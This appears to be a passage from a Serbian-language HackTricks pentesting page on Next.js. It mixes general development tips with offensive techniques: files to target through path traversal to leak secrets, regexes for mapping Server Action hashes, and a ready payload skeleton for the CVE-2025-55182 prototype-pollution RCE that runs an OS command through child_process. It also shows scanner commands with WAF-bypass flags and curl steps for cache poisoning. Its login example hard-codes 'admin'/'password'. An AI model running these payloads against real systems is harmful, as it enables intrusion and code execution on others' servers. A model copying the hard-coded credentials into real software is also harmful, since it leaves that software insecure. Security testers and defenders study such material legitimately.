Ako pronađete path traversal ili download API u Next.js aplikaciji, ciljajte kompajlirane artefakte koji leak server-side tajne i logiku autentifikacije:
.env/.env.localza tajne sesije i kredencijale provajdera..next/routes-manifest.jsoni.next/build-manifest.jsonza kompletan spisak ruta..next/server/pages/api/auth/[...nextauth].jsza povraćaj kompajlirane NextAuth konfiguracije (često sadrži fallback lozinke kadaprocess.envvrednosti nisu postavljene).next.config.js/next.config.mjsza pregled rewrites, redirects i middleware rutiranja.
Autentifikacija i autorizacija
Pristup:
- Autentifikacija zasnovana na sesijama: Koristite cookies za upravljanje korisničkim sesijama.
- Autentifikacija zasnovana na tokenima: Implementirajte JWTs za bezdržavnu autentifikaciju.
- Provajderi treće strane: Povežite se sa OAuth provajderima (npr. Google, GitHub) koristeći biblioteke poput
next-auth.
Bezbednosne prakse:
- Secure Cookies: Postavite atribute
HttpOnly,SecureiSameSite. - Password Hashing: Uvek heširajte lozinke pre skladištenja.
- Input Validation: Sprečite injection napade validacijom i sanitizacijom unetih podataka.
Primer:
// pages/api/login.js
import { sign } from "jsonwebtoken"
import { serialize } from "cookie"
export default async function handler(req, res) {
const { username, password } = req.body
// Validate user credentials
if (username === "admin" && password === "password") {
const token = sign({ username }, process.env.JWT_SECRET, {
expiresIn: "1h",
})
res.setHeader(
"Set-Cookie",
serialize("auth", token, {
path: "/",
httpOnly: true,
secure: true,
sameSite: "strict",
})
)
res.status(200).json({ message: "Logged in" })
} else {
res.status(401).json({ error: "Invalid credentials" })
}
}
Optimizacija performansi
Strategije:
- Optimizacija slika: Koristite Next.js’s
next/imagekomponentu za automatsku optimizaciju slika. - Razdvajanje koda: Iskoristite dinamičke importe da razdvojite kod i smanjite vreme početnog učitavanja.
- Keširanje: Implementirajte strategije keširanja za API odgovore i statičke resurse.
- Lenjo učitavanje: Učitajte komponente ili resurse samo kada su potrebni.
Primer:
// Dynamic Import with Code Splitting
import dynamic from "next/dynamic"
const HeavyComponent = dynamic(() => import("../components/HeavyComponent"), {
loading: () => <p>Loading...</p>,
})
Next.js Server Actions Enumeracija (hash to function name via source maps)
Moderni Next.js koristi “Server Actions” koji se izvršavaju na serveru, ali se pozivaju sa klijenta. U produkciji su ti pozivi neprozirni: svi POSTs stižu na zajednički endpoint i razlikuju se po build-specific hash-u poslatom u Next-Action headeru. Primer:
POST /
Next-Action: a9f8e2b4c7d1...
Када је productionBrowserSourceMaps омогућен, minified JS chunks садрже позиве createServerReference(...) који leak довољно структуре (plus associated source maps) да се реконструише пресликавање између action hash и оригиналног имена функције. Ово вам омогућава да преведете хешеве посматране у Next-Action у конкретне циљеве као што су deleteUserAccount() или exportFinancialData().
Pristup ekstrakciji (regex on minified JS + optional source maps)
Pretražite preuzete JS chunks za createServerReference и издвојите hash и символ функције/извора. Dva korisna obrasca:
# Strict pattern for standard minification
createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)
# Flexible pattern handling various minification styles
createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)
- Group 1: server action hash (40+ hex chars)
- Group 2: symbol or path that can be resolved to the original function via the source map when present
If the script advertises a source map (trailer comment //# sourceMappingURL=<...>.map), fetch it and resolve the symbol/path to the original function name.
Praktičan tok rada
- Passive discovery while browsing: capture requests with
Next-Actionheaders and JS chunk URLs. - Fetch the referenced JS bundles and accompanying
*.mapfiles (when present). - Run the regex above to build a hash↔name dictionary.
- Use the dictionary to target testing:
- Name-driven triage (e.g.,
transferFunds,exportFinancialData). - Track coverage across builds by function name (hashes rotate across builds).
Pokretanje skrivenih akcija (zahtev zasnovan na šablonu)
Uzmite validan POST koji je primećen u proxy-ju kao šablon i zamenite vrednost Next-Action da ciljate drugu otkrivenu akciju:
# Before
Next-Action: a9f8e2b4c7d1
# After
Next-Action: b7e3f9a2d8c5
Replay in Repeater and test authorization, input validation and business logic of otherwise unreachable actions.
Burp automatizacija
- NextjsServerActionAnalyzer (Burp extension) automatizuje gore navedeno u Burpu:
- Pregledava proxy istoriju za JS chunks, izvlači
createServerReference(...)unose i parsira source maps kada su dostupne. - Održava pretraživu hash↔function-name rečnik i uklanja duplikate među build-ovima prema imenu funkcije.
- Može locirati validan template POST i otvoriti spreman za slanje Repeater tab sa hash-om ciljne akcije zamenjenim.
- Repo: https://github.com/Adversis/NextjsServerActionAnalyzer
Napomene i ograničenja
- Zahteva da
productionBrowserSourceMapsbude omogućen u produkciji da bi se povratila imena iz bundle-ova/source maps. - Otkrivanje imena funkcije samo po sebi nije ranjivost; koristite ga za usmeravanje otkrivanja i testiranje autorizacije svake akcije.
React Server Components Flight protocol deserijalizacije RCE (CVE-2025-55182)
Next.js App Router deploy-ovanja koja izlažu Server Actions na react-server-dom-webpack 19.0.0–19.2.0 (Next.js 15.x/16.x) sadrže kritičnu server-side prototype pollution tokom deserijalizacije Flight chunk-ova. Kroz konstruisanje $ referenci unutar Flight payload-a, napadač može preći od polluted prototype-a do proizvoljnog izvršavanja JavaScript-a, a zatim do izvršavanja OS komandi unutar Node.js procesa.
NodeJS - proto & prototype Pollution
Tok napada u Flight chunk-ovima
- Prototype pollution primitive: Set
"then": "$1:__proto__:then"so that the resolver writes athenfunction onObject.prototype. Any plain object processed afterwards becomes a thenable, letting the attacker influence async control flow inside RSC internals. - Rebinding to the global
Functionconstructor: Point_response._formData.getat"$1:constructor:constructor". During resolution,object.constructor→Object, andObject.constructor→Function, so future calls to_formData.get()actually executeFunction(...). - Code execution via
_prefix: Place JavaScript source in_response._prefix. When the polluted_formData.getis invoked, the framework evaluatesFunction(_prefix)(...), so the injected JS can runrequire('child_process').exec()or any other Node primitive.
Kostur payload-a
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "require('child_process').exec('id')",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
}
Mapiranje izloženosti React Server Function
React Server Functions (RSF) su sve funkcije koje sadrže direktivu ‘use server’;. Svaka form action, mutation, or fetch helper vezana za jednu od tih funkcija postaje RSC Flight endpoint koji će rado deserializovati attacker-supplied payloads. Korisni rekognoscioni koraci izvedeni iz React2Shell procena:
- Static inventory: potražite direktivu da biste razumeli koliko RSFs framework automatski izlaže.
rg -n "'use server';" -g"*.{js,ts,jsx,tsx}" app/
- App Router defaults:
create-next-appomogućava App Router +app/direktorijum po defaultu, što tiho pretvara svaku rutu u RSC-capable endpoint. App Router asseti kao što su/_next/static/chunks/app/ili odgovori koji streamuju Flight chunk-ove prekotext/x-componentpredstavljaju jake Internet-facing otiske. - Implicitly vulnerable RSC deployments: React’s own advisory napominje da aplikacije koje isporučuju RSC runtime mogu biti exploitable even without explicit RSFs, zato tretirajte bilo koji build koji koristi
react-server-dom-*19.0.0–19.2.0 kao sumnjiv. - Other frameworks bundling RSC: Vite RSC, Parcel RSC, React Router RSC preview, RedwoodSDK, Waku, itd. ponovo koriste isti serializer i nasleđuju identičnu remote attack surface dok ne ugrade patched React build-ove.
Version coverage (React2Shell)
react-server-dom-webpack,react-server-dom-parcel,react-server-dom-turbopack: ranjive u 19.0.0, 19.1.0–19.1.1 i 19.2.0; zakrpljene u 19.0.1, 19.1.2 i 19.2.1 respektivno.- Next.js stable: App Router release-i 15.0.0–16.0.6 sadrže ranjivi RSC stack. Patch train-ovi 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7 uključuju fixed deps, tako da je bilo koji build ispod tih verzija vredan cilja.
- Next.js canary:
14.3.0-canary.77+takođe isporučuje buggy runtime i trenutno nema patched canary drops, što čini te otiske jakim kandidatima za eksploataciju.
Remote detection oracle
Assetnote’s react2shell-scanner šalje crafted multipart Flight request ka kandidatskim putanjama i posmatra ponašanje na serverskoj strani:
- Default mode izvršava deterministički RCE payload (math operation reflektovana preko
X-Action-Redirect) koji dokazuje izvršenje koda. --safe-checkmode namerno malformira Flight poruku tako da patched serveri vraćaju200/400, dok ranjivi ciljevi emitujuHTTP/500odgovore koji sadrže substringE{"digest"unutar tela. Taj(500 + digest)par je trenutno najpouzdaniji remote oracle objavljen od strane branilaca.- Ugrađeni prekidači
--waf-bypass,--vercel-waf-bypass, i--windowspodešavaju raspored payload-a, dodaju junk na početak, ili zamenjuju OS komande tako da možete ispitivati prave Internet resurse.
python3 scanner.py -u https://target.tld --path /app/api/submit --safe-check
python3 scanner.py -l hosts.txt -t 20 --waf-bypass -o vulnerable.json
Ostali nedavni problemi App Router-a (kraj 2025)
- RSC DoS & source disclosure (CVE-2025-55184 / CVE-2025-67779 / CVE-2025-55183) – malformisani Flight payloads mogu naterati RSC resolver u beskonačnu petlju (pre-auth DoS) ili primorati serijalizaciju kompajliranog Server Function koda za druge akcije. App Router buildovi ≥13.3 su pogođeni dok se ne zakrpe; 15.0.x–16.0.x zahtevaju specifične patch linije iz upstream advisory-ja. Ponovo upotrebite normalan Server Action path ali streamujte
text/x-componentbody sa zlonamernim$referencama. Iza CDN-a zaglavljena konekcija ostaje otvorena zbog cache timeouts, što DoS čini jeftinim.
- Savet za trijažu: Nezakrpljeni targets vraćaju
500saE{"digest"nakon malformisanih Flight payloads; zakrpljene verzije vraćaju400/200. Testirajte bilo koji endpoint koji već streamuje Flight chunks (potražiteNext-Actionheader-e ilitext/x-componentodgovore) i replay-ujte sa modifikovanim payloadom.
- RSC cache poisoning (CVE-2025-49005, App Router 15.3.0–15.3.2) – nedostatak
Varydozvoljava daAccept: text/x-componentodgovor bude keširan i poslužen browserima koji očekuju HTML. Jedan priming request može zameniti stranicu sirovim RSC payloads. PoC flow:
# Prime CDN with an RSC response
curl -k -H "Accept: text/x-component" "https://target/app/dashboard" > /dev/null
# Immediately fetch without Accept (victim view)
curl -k "https://target/app/dashboard" | head
If the second response returns JSON Flight data instead of HTML, the route is poisonable. Purge cache after testing.
References
- Pentesting Next.js Server Actions — A Burp Extension for Hash-to-Function Mapping
- NextjsServerActionAnalyzer (Burp extension)
- CVE-2025-55182 React Server Components Remote Code Execution Exploit Tool
- CVE-2025-55182 & CVE-2025-66478 React2Shell – All You Need to Know
- 0xdf – HTB Previous (Next.js middleware bypass, static export recon, NextAuth config leak)
- assetnote/react2shell-scanner
- Next.js Security Update: December 11, 2025 (CVE-2025-55183/55184/67779)
- GHSA-r2fc-ccr8-96c4 / CVE-2025-49005: App Router cache poisoning
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


